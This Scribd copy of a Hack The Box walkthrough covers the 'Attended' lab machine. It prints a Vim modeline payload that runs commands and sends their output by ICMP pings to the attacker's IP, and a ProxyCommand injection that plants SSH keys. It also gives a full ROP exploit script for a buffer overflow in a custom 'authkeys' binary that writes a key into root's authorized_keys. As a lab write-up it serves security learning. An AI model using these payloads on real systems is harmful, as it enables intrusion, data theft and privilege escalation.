0% found this document useful (0 votes)
126 views30 pages

Attended

Uploaded by

Chun
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
126 views30 pages

Attended

Uploaded by

Chun
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 30

Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

bernie lim
hacksome | my security journey

home / archive / categories / search /

    

Home

Attended: Hack The Box Walkthrough


Bernie Lim
A security enthusiast. Likes cats.
8 Apr 2021 · 32 min read


top

1 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

This post documents the complete walkthrough of Attended, a retired


vulnerable VM created by guly and freshness, and hosted at Hack The
Box. If you are uncomfortable with spoilers, please stop reading now.

On this post
Background

Information Gathering

Verifying the user

Sending an email to <guly@attended.htb>

CVE-2019-12735 - Vim/Neovim Arbitrary Code Execution via


Modelines

Data exfiltration with ICMP

Foothold

ProxyCommand in SSH

Privilege Escalation

Fashioning a port scanner with curl

AuthorizedKeysCommand

Vulnerability analysis of authkeys

O�set to the return address

Decoded bu�er

OpenSSH public key format

Exploit development

Controlling rax

Controlling rdi, rsi and rdx

IEEE-754 Floating Point Converter



top
Bombs away

2 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

Background
Attended is a retired vulnerable VM from Hack The Box.

Information Gathering
Let’s start with a masscan probe to establish the open ports in the host.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.221 --rate=500

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-12-28 10:56:47 GMT


-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 25/tcp on 10.10.10.221
Discovered open port 22/tcp on 10.10.10.221

Hmm, port 25/tcp eh? Let’s do one better with nmap scanning the
discovered ports to establish their services.

nmap -n -v -Pn -p22,25 -A --reason 10.10.10.221 -oN nmap.txt


...
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 62 OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 4f:08:48:10:a2:89:3b:bd:4a:c6:81:03:cb:20:04:f5 (RSA)
| 256 1a:41:82:21:9f:07:9d:cd:61:97:e7:fe:96:3a:8f:b0 (ECDSA)
|_ 256 e0:6e:3d:52:ca:5a:7b:4a:11:cb:94:ef:af:49:07:aa (ED25519)
25/tcp open smtp syn-ack ttl 62
| fingerprint-strings:
| GenericLines, GetRequest:
| 220 proudly setup by guly for attended.htb ESMTP OpenSMTPD
| 5.5.1 Invalid command: Pipelining not supported
| Hello:
| 220 proudly setup by guly for attended.htb ESMTP OpenSMTPD 
top

3 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

| 5.5.1 Invalid command: EHLO requires domain name


| Help:
| 220 proudly setup by guly for attended.htb ESMTP OpenSMTPD
| 214- This is OpenSMTPD
| 214- To report bugs in the implementation, please contact bugs@openbsd.or
| 214- with full details
| 2.0.0: End of HELP info
| NULL:
|_ 220 proudly setup by guly for attended.htb ESMTP OpenSMTPD
| smtp-commands: proudly setup by guly for attended.htb Hello nmap.scanme.org [
|_ This is OpenSMTPD To report bugs in the implementation, please contact bugs@
|_smtp-ntlm-info: ERROR: Script execution failed (use -d to debug)

Looks like smtp is in service but nmap scripts didn’t produce anything useful
other than a username (guly) and a domain (attended.htb). I’d better put
attended.htb into /etc/hosts.

Verifying the user

Using standard SMTP commands MAIL FROM and RCPT TO, I was able to at
least verify the existence of guly@attended.htb.

Sending an email to <guly@attended.htb>

Let’s see if we can send a test email to <guly@attended.htb> to solicit any


response. But first, let’s set up a simple SMTP server with Python’s smtpd
module to receive mails like so.

top

4 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

python3 -m smtpd -n -c DebuggingServer 10.10.14.53:25

Next, we can send the email with swaks, a.k.a Swiss Army Knife SMTP.

And this appears about two minutes later…

I wonder what’s the issue with freshness that guly is talking about. It

top
seems any email from freshness will take priority.

5 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

Interestingly, OpenSMTPD is smart enough to send the email reply from


guly back to my “fake” SMTP server.

Looks like I need to send guly some attachment!


top

6 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

I got this second reply from guly.

Hmm, “open your attachment with vim” eh? Exploiting vim for remote code
execution?

CVE-2019-12735 - Vim/Neovim Arbitrary Code


Execution via Modelines 
top

7 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

This exploit looks simple enough. Let’s give it a shot. To create a responsive
payload and without knowing the environment, we need something to tell
us that a command was successfully executed.

test.txt

:!uname -a && ping -c1 -p beef 10.10.14.53 ||" vi:fen:fdm=expr:fde=assert_fails

I’ve chosen ping as the response mechanism after many trial-and-error


attempts. If uname -a was successfully executed, a ping echo request
(icmp.type == 8 - Wireshark display filter) with beef as the pattern will be
sent to me.

Bingo! 
top

8 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

Data exfiltration with ICMP

Armed with this insight, I wrote the following script to reconstruct the data
exfiltrated in an ICMP echo request packet.

read.sh

#!/bin/bash

FILE=$1

tshark -r $FILE \
-T fields \
-e data 2>/dev/null \
| grep -Eo '.{4}$' \
| tr -d '\n' \
| xxd -p -r

The payload in the attachment would look something like this.

:!`id | xxd -p -c2 | xargs -n1 -I'{}' ping -c1 -p'{}' 10.10.14.53` ||" vi:fen:f

Prior to that, I’ve established that essential commands such as xxd and
xargs, required for this exfiltration to work are present in the machine.
Some of enumeration examples are shown here.

id

pwd

ls -laR /home

top

9 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

It’s evident that /home/shared is world-writable.

Foothold
The important clue to gaining a foothold lies in a Vim swap file at
/home/guly/tmp/.config.swp.

This is what it looks like after restoration.

guly mentioned something about config being written to /home/shared


where freshness must test it out ASAP. If I had to guess, I would say that
top

10 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

there’s a cron job from freshness looking out for this /home/shared
/config to test it out with SSH, likely to be ssh -F /home/shared
/config.

I’ve verified that guly has write access to /home/shared/config with the
following payload.

test.txt

:!touch /home/shared/config && ping -c1 -p beef 10.10.14.53 ||" vi:fen:fdm=expr

ProxyCommand in SSH

Now that I know freshness will SSH test /home/shared/config, and guly
has write access to it, I could leverage on ProxyCommand from
ssh_config(5) to do something nefarious with it.

I’ll make use of ProxyCommand to inject a SSH public key I control to


/home/freshness/.ssh/authorized_keys like so.

freshness.txt

:!echo -en 'Host *\n User freshness\n ControlMaster auto\n ControlPath /tmp/


top

11 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

Awesome!

The file user.txt is at freshness’ home directory.

Privilege Escalation
During enumeration of freshness’ account, I notice the presence of the
authkeys directory in freshness’ home directory.

In it, there’s a note.

Notice that the authkeys binary is non-executable in attended but


executable in attendedgw.

Hold up. There’s another machine??!! Which means I’ve been living in thetop

12 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

Matrix this whole time.

Fashioning a port scanner with curl

So attendedgw is at 192.168.23.1.

And since I have SSH access to attended through freshness I could do a


dynamic port forwarding with it. On the other hand, curl supports SOCKS
proxy and the Gopher protocol, which I’ll make use to fashion a simple port
scanner like so.

scan.sh

#!/bin/bash

ssh -i freshness -D 9999 freshness@10.10.10.221 -f -N 2>/dev/null

HOST=192.168.23.1
PROXY=socks://127.0.0.1:9999

for PORT in $(seq 1 10000); do


if curl -s \
-x $PROXY \
gopher://$HOST:$PORT \
&>/dev/null; then
echo "Port $PORT is open"
fi
done

Let’s give it a shot.


top

13 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

Sweet. Now what?

AuthorizedKeysCommand

Look at what I found in /etc/ssh/sshd_config at attended that o�ers us


a glimpse into what authkeys is.

If I had to guess, I would say that the uncommented version of this


sshd_config resides in attendedgw.

We can tell that authkeys takes in four arguments from the get-go:

�. %f - the fingerprint of the key or certificate

�. %h - the home directory of the user

�. %t - the key or certificate type

�. %k - the base64-encoded key or certificate for authentication

Vulnerability analysis of authkeys

To find out the actual arguments that are passed to authkeys during an
actual SSH session, I added a fake authkeys (that echo all its arguments to
stdout and tee it o� to a log). I also added AuthorizedKeysCommand and

top
AuthorizedKeysCommandUser to a OpenSSH server in an OpenBSD

14 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

environment (yes, I went that far )

authkeys

#!/bin/sh

echo $@ | tee /tmp/authkeys

On the other hand, I generated a pair of SSH keys with ssh-keygen like so.

ssh-keygen -f guly
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in guly
Your public key has been saved in guly.pub
The key fingerprint is:
SHA256:G7rEqAxvV5etCzzbG5bJ5Umq85GZJZQJ6vI9Vl1/TbY root@kali
The key's randomart image is:
+---[RSA 3072]----+
| . |
| . . o |
| . + . o|
| . . . . . oo|
| . . So= .Eo|
| o =.+o/.. . |
|. o.@.&.o |
| +...o.X.o |
| .+. +o=o |
+----[SHA256]-----+

I then proceeded to delete the private key and attempted a SSH session like
so, with only the public key submitted as proof of identity.

ssh -i guly.pub root@1.2.3.4

Where 1.2.3.4 is the OpenSSH server. This is what was echo‘d to the log.
top

15 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

You can clearly see what are the four corresponding arguments from the
previous section. Now that we know what are the arguments, let’s discuss
what authkeys actually does with them.

It first checks for the number of argments. If it’s not five (path to the
executable and the four arguments), it prints “Too bad, Wrong number of
arguments!” to stdout and exit with a status of 0.

Long story short, if the number of arguments is five, it proceeds to discard


all the arguments save for the last argument - the base64-encoded key.
This brings us to the base64-decoding subroutine at sub_4002c4, where
the bu�er overflow vulnerability resides.


top

16 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

O�set to the return address

Knowing that a stack space of 0x300 (768) bytes was set aside to hold the
base64-decoded data, I generated a cyclic pattern of 800 bytes for the
purpose of determining the o�set to the return address. Take note that we
need to base64-encode the pattern before we pass it as the last argument.

The string at $rsp will be used to search for the o�set.

That’s it. The o�set to the return address is 776!

Time for the litmus test to see if the o�set is correct with the following
payload.


top

17 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

Bombs away…

Sweet. Looks like the o�set is correct. Take note the address 0x40036b is
important. We’ll need to break here very often during exploit development
later.

Decoded bu�er

The decoded public key blob is at 0x6010c0 in the data segment. Suppose I
send in the base64-encoded portion of the public key I generated above.
This is what it looks like in gdb.

Contrast this with a manual base64 decoding of the public key blob.

top

18 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

OpenSSH public key format

The public key saved by ssh-keygen is written in the so-called SSH-format,


which is not a standard in the cryptography world. It’s structure is
<algorithm> <key> <comment>, where the <key> part of the format - the
public key blob is base64-encoded.

The structure of the public key blob is pretty simple, and is described in two
di�erent RFCs. RFC 4253 (“SSH Transport Layer Protocol”) states in
section 6.6 that

The "ssh-rsa" key format has the following specific encoding:

string "ssh-rsa"
mpint e
mpint n

while the definition of the types string and mpint can be found in RFC
4251 (“SSH Protocol Architecture”), section 5

string

[...] They are stored as a uint32 containing its length


(number of bytes that follow) and zero (= empty string) or more
bytes that are the value of the string. Terminating null
characters are not used. [...]

mpint

Represents multiple precision integers in two's complement format,


top

19 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

stored as a string, 8 bits per byte, MSB first. [...]

This means that the above sequence of bytes is interpreted as 4 bytes of


length (32 bits of the type uint32) followed by that number of bytes of
content. Armed with this insight, the only logical place to put our payload is
the modulus, which can go up to 16 * 1024 bits or 2048 bytes. Plenty of
space.

We can make use of Crypto.PublicKey.RSA.construct from


PyCryptodome to create a OpenSSH public key from the exponent and
modulus. Here’s my skeleton exploit code.

exploit.py

from Crypto.PublicKey.RSA import construct


import binascii
import os

# modulus - this is where the payload resides

payload = 'A' * 754 + 'B' * 8 # after adjustment of "ssh-rsa" and exponent, of

# construct RSA public key

e = 65537L
n = int(binascii.hexlify(payload), 16)

key = construct((n, e))

os.write(1, key.exportKey(format="OpenSSH"))

Exploit development

The gadgets in authkeys are very limited.

python -m ropper --file authkeys 


top

20 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

[INFO] Load gadgets from cache


[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

Gadgets
=======

0x000000000040037d: adc byte ptr [rdx], al; mov ebx, 0xf02d0ff3; ret;
0x000000000040036f: adc cl, 0xe8; ret;
0x00000000004003c1: add al, ch; or byte ptr [rax], al; add byte ptr [rax], al;
0x000000000040037e: add bh, byte ptr [rbx - 0xfd2f00d]; ret;
0x0000000000400360: add byte ptr [rax + 0x31], cl; ror byte ptr [rax + 0x31], 0
0x00000000004003c6: add byte ptr [rax + 1], bh; xor rdi, rdi; syscall;
0x00000000004003c6: add byte ptr [rax + 1], bh; xor rdi, rdi; syscall; ret;
0x00000000004003c4: add byte ptr [rax], al; add byte ptr [rax + 1], bh; xor rdi
0x00000000004003c4: add byte ptr [rax], al; add byte ptr [rax + 1], bh; xor rdi
0x00000000004003c0: add byte ptr [rax], al; call 0x3cf; mov eax, 1; xor rdi, rd
0x00000000004003c5: add byte ptr [rax], al; mov eax, 1; xor rdi, rdi; syscall;
0x00000000004003c5: add byte ptr [rax], al; mov eax, 1; xor rdi, rdi; syscall;
0x000000000040035f: add byte ptr [rax], al; xor rax, rax; xor rsi, rsi; mov rdi
0x00000000004003ca: add byte ptr [rax], al; xor rdi, rdi; syscall;
0x00000000004003ca: add byte ptr [rax], al; xor rdi, rdi; syscall; ret;
0x00000000004003c8: add dword ptr [rax], eax; add byte ptr [rax], al; xor rdi,
0x00000000004003c8: add dword ptr [rax], eax; add byte ptr [rax], al; xor rdi,
0x000000000040035e: add eax, dword ptr [rax]; add byte ptr [rax + 0x31], cl; ro
0x00000000004003c2: call 0x3cf; mov eax, 1; xor rdi, rdi; syscall;
0x00000000004003c2: call 0x3cf; mov eax, 1; xor rdi, rdi; syscall; ret;
0x0000000000400381: cvtps2pi mm6, xmm0; ret;
0x0000000000400380: cvtss2si esi, xmm0; ret;
0x0000000000400399: dec dword ptr [rax + 0x31]; leave; ret;
0x0000000000400377: fcomp st(0), st(0); ret;
0x0000000000400394: mov eax, 0xffffffff; xor rcx, rcx; ret;
0x00000000004003c7: mov eax, 1; xor rdi, rdi; syscall;
0x00000000004003c7: mov eax, 1; xor rdi, rdi; syscall; ret;
0x000000000040037f: mov ebx, 0xf02d0ff3; ret;
0x000000000040037a: mov ecx, 0x2100ff3; mov ebx, 0xf02d0ff3; ret;
0x0000000000400368: mov edi, esi; pop rdx; ret;
0x0000000000400393: mov rax, -1; xor rcx, rcx; ret; 
top

21 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

0x0000000000400367: mov rdi, rsi; pop rdx; ret;


0x000000000040037b: movss xmm0, dword ptr [rdx]; mov ebx, 0xf02d0ff3; ret;
0x000000000040037c: movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret;
0x000000000040036d: not al; adc cl, 0xe8; ret;
0x00000000004003c3: or byte ptr [rax], al; add byte ptr [rax], al; mov eax, 1;
0x00000000004003c3: or byte ptr [rax], al; add byte ptr [rax], al; mov eax, 1;
0x000000000040036a: pop rdx; ret;
0x0000000000400363: ror byte ptr [rax + 0x31], 0xf6; mov rdi, rsi; pop rdx; ret
0x0000000000400376: sbb dh, 0xd0; ret;
0x0000000000400370: shr eax, 1; ret;
0x0000000000400366: test byte ptr [rax - 0x77], 0xf7; pop rdx; ret;
0x0000000000400373: xor cl, 0xe0; sbb dh, 0xd0; ret;
0x000000000040036c: xor dh, 0xd0; adc cl, 0xe8; ret;
0x0000000000400362: xor eax, eax; xor rsi, rsi; mov rdi, rsi; pop rdx; ret;
0x000000000040039b: xor ecx, ecx; ret;
0x00000000004003cd: xor edi, edi; syscall;
0x00000000004003cd: xor edi, edi; syscall; ret;
0x0000000000400365: xor esi, esi; mov rdi, rsi; pop rdx; ret;
0x0000000000400361: xor rax, rax; xor rsi, rsi; mov rdi, rsi; pop rdx; ret;
0x000000000040039a: xor rcx, rcx; ret;
0x00000000004003cc: xor rdi, rdi; syscall;
0x00000000004003cc: xor rdi, rdi; syscall; ret;
0x0000000000400364: xor rsi, rsi; mov rdi, rsi; pop rdx; ret;
0x000000000040039c: leave; ret;
0x000000000040028a: ret;
0x00000000004003cf: syscall;
0x00000000004003cf: syscall; ret;

58 gadgets found

Well, syscall is available but only one pop gadget in pop rdx; ret;. To
craft a meaningful exploit, we need a way to control the contents of the rax
(syscall number), rdi (first argument), rsi (second argument), and rdx
(third argument). The idea here is to make use of the gadgets to chain
together an exploit to execve(2) /bin/sh -c in order to achieve remote
command execution. In short, we need to control four registers: rax, rdi,
rsi, and rdx.

top

22 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

Controlling rax

There are three gadgets involving [er]?a[hlx][,;] (regex) useful to our


cause of controlling rax.

0x0000000000400394: mov eax, 0xffffffff; xor rcx, rcx; ret;


0x000000000040036d: not al; adc cl, 0xe8; ret;
0x0000000000400370: shr eax, 1; ret;

We need rax to be equal to 0x3b (or 59) for execve(2).

The idea is to transform 0xffffffff through some sequences of not and


shr to achieve the number we want. To that end, I wrote the following
script to brute-force all the sequences.

seq.py

from itertools import product


import sys

seq = {}

for n in range(16):
combo = list(product('sn', repeat=n)) # up to 15 should be enough
for this in combo:
eax = 0xff
for op in this:
if op == 's':
eax = eax >> 1
elif op == 'n':
eax = ~eax & 0xff
if eax not in seq.keys():
seq[eax] = this
else:

top

23 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

if len(seq[eax]) > len(this):


seq[eax] = this

arg = int(sys.argv[1])

print("Shortest sequence for %d is: %s" % (arg, list(seq[arg])))

Let’s give it a shot.

Notice that I’m assuming eax starts o� with 0xff. How can we get 0xff
from 0xffffffff? Well, by “shifting right by 1-bit” twenty-four times .
Let’s verify this in gdb to make sure we start on the right foot.

Time to verify the rest of the sequence. Note that we can combine a series
of “shift right by 1-bit” (s) operations in gdb. For example, ['s', 's',
's'] in gdb is x >> 3.

Controlling rdi, rsi and rdx

There are four gadgets involving all three registers.

0x000000000040036a: pop rdx; ret;


0x000000000040037c: movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret;
0x0000000000400380: cvtss2si esi, xmm0; ret;
0x0000000000400367: mov rdi, rsi; pop rdx; ret;

But before we look into how we can combine the gadgets, we need to look
at where to store our strings. Suppose I use the skeleton exploit code to 
top

24 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

generate a public key and send it to authkeys. This is what’s decoded at


0x6010c0.

You can see from above the payload starts at 0x6010d6. Now, let’s switch
to a DWORD view starting at 0x6010d6.

I’ll need the first two 8-byte space to store the address to path and argv
respectively.

The rest of the space can be used to build argv for storing /bin/sh, -c and
the command we want to execute. It’s clear that the address of argv is at
0x6010e6.

IEEE-754 Floating Point Converter

Let’s say the address to path or in our case /bin/sh is 0x601106, we want
0x601106 to be in rdi. Judging from the gadgets above, we need xmm0 to
contain the IEEE-754 floating-point value of 0x601106 before it gets
converted to an integer in esi and moved to rdi eventually. Register rdx
top

25 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

should then contain the address to the hexadecimal representation of the


IEEE-754 floating-pint value of 0x601106. We can have a feel of how that
conversion of 0x601106 should look like.

Enough talking. Let’s get to the exploit code.

exploit.py

from Crypto.PublicKey.RSA import construct


import binascii
import os
import struct
import sys

# IEEE-754 conversion - well, sort of


# See https://www.h-schmidt.net/FloatConverter/IEEE754.html
def float_to_hex(f):
return struct.unpack('<I', struct.pack('<f', f))[0]

# modulus - this is where the payload resides

# ROP gadgets

# 0x000000000040037c: movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret;
rdx_to_xmm0 = 0x40037c

# 0x0000000000400380: cvtss2si esi, xmm0; ret;


cvtss2si_to_esi = 0x400380 
top

26 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

# 0x0000000000400367: mov rdi, rsi; pop rdx; ret;


rsi_to_rsi_pop_rdx = 0x400367

# 0x000000000040036a: pop rdx; ret;


pop_rdx = 0x40036a

# 0x0000000000400394: mov eax, 0xffffffff; xor rcx, rcx; ret;


load_eax_neg_1 = 0x400393

# 0x0000000000400370: shr eax, 1; ret;


shr_eax_by_1 = 0x400370

# 0x000000000040036d: not al; adc cl, 0xe8; ret;


not_al = 0x40036d

# 0x00000000004003cf: syscall;
syscall = 0x4003cf

# 0x000000000040032e : inc eax ; jmp 0x4002f1


inc_eax = 0x400399

# 0x0000000000400367: mov rdi, rsi; pop rdx; ret;


rsi_to_rdi_pop_rdx = 0x400367

# 0x00000000004003c7: mov eax, 1; xor rdi, rdi; syscall; ret;


exit = 0x4003c7

# ROP chain

# build argv[] at 0x6010e6


cmd = sys.argv[1] + '\x00'
args = '\x00'.join("/bin/sh -c".split(' ')) + '\x00'
argv = []

loc = 0x6010e6 + (len(args.split('\x00')) + 1) * 0x8


for arg in range(len(args.split('\x00'))):
if (arg == 0):
argv.append(loc)
else:
loc += len(args.split('\x00')[arg-1]) + 1 
top

27 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

argv.append(loc)

# offset to return address


payload = struct.pack('<Q', float_to_hex(argv[0])) # argv[0] goes to rdi
payload += struct.pack('<Q', float_to_hex(0x6010e6)) # argv goes to rsi
for arg in argv:
payload += struct.pack('<Q', arg)
payload += struct.pack('<Q', 0x0) # null-terminated array
payload += args + cmd + 'A' * (754 - (len(argv) + 1) * 0x8 - len(args
- len(cmd) - 16) # after adjustment offset is 754

# set eax to 0x3b or 59, syscall number for execve(2)


# if eax = 0xffffffff, then we need to shr 24 times to reduce to 0xff
# shortest sequence for 59 is: ['s', 'n', 's', 's', 's', 'n', 's', 's']
payload += struct.pack('<Q', load_eax_neg_1)
for _ in range(25):
payload += struct.pack('<Q', shr_eax_by_1)
payload += struct.pack('<Q', not_al)
for _ in range(3):
payload += struct.pack('<Q', shr_eax_by_1)
payload += struct.pack('<Q', not_al)
for _ in range(2):
payload += struct.pack('<Q', shr_eax_by_1)

# pop argv[0] to rdx


# mov [rdx] to xmm0; convert xmm0 to esi (rsi); mov rsi to rdi
payload += struct.pack('<Q', pop_rdx)
payload += struct.pack('<Q', 0x6010d6)
payload += struct.pack('<Q', rdx_to_xmm0)
payload += struct.pack('<Q', cvtss2si_to_esi)
payload += struct.pack('<Q', rsi_to_rdi_pop_rdx)

# pop argv to rdx


# mov [rdx] to xmm0, convert xmm0 to esi (rsi)
payload += struct.pack('<Q', 0x6010d6 + 0x8)
payload += struct.pack('<Q', rdx_to_xmm0)
payload += struct.pack('<Q', cvtss2si_to_esi)

# pop 0 to rdx
payload += struct.pack('<Q', pop_rdx)
payload += struct.pack('<Q', 0x0) 
top

28 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

# syscall
payload += struct.pack('<Q', syscall)

# go nicely go
payload += struct.pack('<Q', exit)

# construct RSA public key

e = 65537L
n = int(binascii.hexlify(payload), 16)

key = construct((n, e))

os.write(1, key.exportKey(format="OpenSSH"))

Bombs away

Let’s do a local port forwarding to the SSH (2222/tcp) service in


attendedgw (192.168.23.1) through attended (192.168.23.2) like so.

ssh -i freshness -L 2222:192.168.23.1:2222 freshness@10.10.10.221 -f -N

Generate a payload to inject a SSH public key we control to /root/.ssh


/authorized_keys in attendedgw like so.

python exploit.py "echo $(cat root.pub) >> /root/.ssh/authorized_keys" > test.p

Send the payload.

ssh -i test.pub root@127.0.0.1 -p 2222

And profit!

top

29 of 30 27/04/2021, 09:33
Attended: Hack The Box Walkthrough http://localhost:4000/attended-htb-walkthrough/

To get root.txt with a root shell is trivial.

Share this on:

    

 Previous Next 
Time: Hack The Box Walkthrough APT: Hack The Box Walkthrough

© 2021 Bernie Lim. Powered by Jekyll    Potion.

This page loaded in 0.6 seconds.


top

30 of 30 27/04/2021, 09:33

You might also like